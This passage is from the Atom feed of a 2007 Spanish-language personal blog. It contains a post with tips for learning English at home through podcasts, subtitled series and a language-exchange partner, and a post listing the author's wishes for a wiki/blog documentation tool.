class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7407946-6811189497087876256?l=cacharreadores.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cacharreadores.blogspot.com/feeds/6811189497087876256/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7407946&amp;postID=6811189497087876256' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7407946/posts/default/6811189497087876256'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7407946/posts/default/6811189497087876256'/><link rel='alternate' type='text/html' href='http://cacharreadores.blogspot.com/2007/06/los-programas-se-ejecutan-ahora-en.html' title='Los programas se ejecutan ahora en internet?'/><author><name>arreche</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7407946.post-9054091572460203789</id><published>2007-06-24T12:16:00.000Z</published><updated>2007-07-14T14:51:23.407Z</updated><category scheme='http://www.blogger.com/atom/ns#' term='Inglés'/><title type='text'>Aprende y/o mejora tu ingles sin salir de casa</title><content type='html'>&lt;p&gt;Hoy en dia no tenemos escusa para aprender ingles desde casa y de paso hacer alguna gran amistad con alguien del otro lado del planeta. Tecnologias como voip, podcats, portales de educacion, etc. Lo han hecho posible.&lt;/p&gt; &lt;p&gt;Como saben para aprender una nueva lengua hay que seguir un entrenamiento diario y sentirse agusto en todo el proceso. La motivacion es la clave de todo aprendizaje!&lt;/p&gt; &lt;p&gt;Tenemos que dedicar tiempo en la practica de las cuatro disciplinas de todo lenguaje(la escucha, lectura, escritura y el habla). Dandole la misma importancia a cada una de ellas ya que la peor que se nos de limitara al resto.&lt;/p&gt; &lt;p&gt;Bajo mi punto de vista, la mejor manera de estudiar otra lengua es dejar la gramatica para mas adelante e imaginar que somos niños pequeños que estamos aprendiendo a hablar. En aquel entonces nos dedicabamos a escuchar e imitar a diario. Cuando aprendimos a escuchar y decir las fraces basicas nos llevaron al colegio donde aprendimos a leer y escribir. Y al final, sin dejar de estudiar todo lo anterior, nos enseñaron la dichosa gramatica. Intentar aprender de otra manera es una perdida de tiempo.&lt;/p&gt; &lt;p&gt;Sin ir mas lejos yo mismo llevo estudiando ingles desde el colegio y todavia no soy incapaz de mantener una conversacion basica de manera natural. El motivo es que en realidad lo que hago es traducir del mi lengua nativa al ingles haciendo uso de las reglas gramaticales que he memorizado. Esto es realmente frustrante y agotador!. Para solucionarlo, he decidido planificar un metodo personal de estudio del que tal vez puedas sacar provecho.&lt;/p&gt; &lt;p&gt;Para hacer el oido al ingles empeze descargando series americanas subtituladas con un cliente de bittorrent. Realmente se puede deducir por el contexto que es lo que estan diciendo.&lt;/p&gt; &lt;p&gt;Mas adelante combine lo anterior con la escucha de podcasts y lectura de sus transcripciones. Empezando por &lt;a href="http://www.englishteacherjohn.com/podcast/"&gt;este&lt;/a&gt; y continuando con estos dos mas avanzados &lt;a href="http://www.eslpod.com/website/index.php"&gt;1&lt;/a&gt;, &lt;a href="http://www.englishcaster.com/bobrob/"&gt;2&lt;/a&gt;.&lt;br /&gt;&lt;/p&gt; &lt;p&gt;Lo siguiente fue conocer a una persona como yo interesada en mejorar su ingles. Y a partir de entonces me escribo con ella un correo contando lo que hemos hecho cada dia. Entre semana de vez encuando tenemos algun esporadico chat y los fines de semana nos hacemos una llamada mediante skype para hablar un rato.&lt;/p&gt; &lt;p&gt;En el caso de no sentirte todavia preparado para hablar en ingles, puedes empezar practicando con las actividades de esta &lt;a href="http://www.talkenglish.com/"&gt;pagina.&lt;/a&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;La verdad que con los podcast he notado una gran mejoria en mi listening y las conversaciones con mi amiga china ademas de el eriquezimiento cultural que suponen me resulta una manera divertida de practicar.&lt;/p&gt; &lt;p&gt;Por ultimo aparte de desearte suerte te dare mi mejor consejo: No intentes comertelo todo en un dia! Busca algo que te guste hacer e intenta meterle de por medio el ingles y cuando lo consigas hazlo un habito diario.&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7407946-9054091572460203789?l=cacharreadores.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cacharreadores.blogspot.com/feeds/9054091572460203789/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7407946&amp;postID=9054091572460203789' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7407946/posts/default/9054091572460203789'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7407946/posts/default/9054091572460203789'/><link rel='alternate' type='text/html' href='http://cacharreadores.blogspot.com/2007/06/aprende-mejora-tu-ingles-sin-salir-de.html' title='Aprende y/o mejora tu ingles sin salir de casa'/><author><name>arreche</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7407946.post-85433369026153337</id><published>2007-06-02T19:38:00.000Z</published><updated>2007-06-29T23:41:30.420Z</updated><title type='text'>Necesidad de un sistema de documentacion y comparticion de informacion</title><content type='html'>&lt;small&gt;&lt;/small&gt;      Hola, mundo! Bueno, mundo hispanohablante.&lt;div class="entry"&gt;&lt;div class="snap_preview"&gt; &lt;p&gt;Desde siempre he sido una persona con muchas inquietudes y muy mala memoria. Por lo que hace tiempo que llevo planeando tener un wiki/blog para anotar y compartir mis experiencias.&lt;br /&gt;&lt;br /&gt;Desgraciadamente todavia no he encontrado un sistema que se adapte a mis necesidades.&lt;br /&gt;&lt;/p&gt; &lt;p&gt;Estas son las principales:&lt;/p&gt; &lt;p&gt;1- Disponer de Herramientas de edicion estructurada para amplios tipos de conenidos. Desde resaltado de sintaxis para lenguages de programacion pasando por el soporte de latex, hasta la posibilidad de edicion &lt;a href="http://en.wikipedia.org/wiki/WYSIWYG"&gt;WYSIWYG&lt;/a&gt; y creacion de diagramas UML.&lt;/p&gt; &lt;p&gt;2- Poder añadir y modificar contenidos sin necesidad de estar conectado a la red y que estos se sincronizen automaticamente cuando disponga de ella. Aqui se hace necesaria una alta compatibilidad con dispositivos moviles.&lt;/p&gt; &lt;p&gt;3- Permitir la edicion colaborativa y control de revisiones. Es decir, mantener escencia del wiki a diferencia de un simple blog con comentarios.&lt;/p&gt; &lt;p&gt;4- Que sea extensible y portable para adaptarlo a las nuevas necesidades personales y poder reutilizar los contendios en otros sistemas.&lt;/p&gt; &lt;p&gt;5- Capacidad de realizar busquedas de una manera mas cercana a los humanos.&lt;br /&gt;&lt;/p&gt; &lt;p&gt;Sinceramente, no creo que un sistema asi exista todavia. Es mas, seguro que pasaran años para ver algo decente. Pero por siacaso me equivoco, Que me recomendarian ustedes?&lt;br /&gt;&lt;/p&gt; &lt;/div&gt;    &lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7407946-85433369026153337?l=cacharreadores.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cacharreadores.blogspot.com/feeds/85433369026153337/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7407946&amp;postID=85433369026153337' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7407946/posts/default/85433369026153337'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7407946/posts/default/85433369026153337'/><link rel='alternate' type='text/html' href='http://cacharreadores.blogspot.com/2007/06/necesidad-de-un-sistema-de.html' title='Necesidad de un sistema de documentacion y comparticion de informacion'/><author><name>arreche</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry></feed>
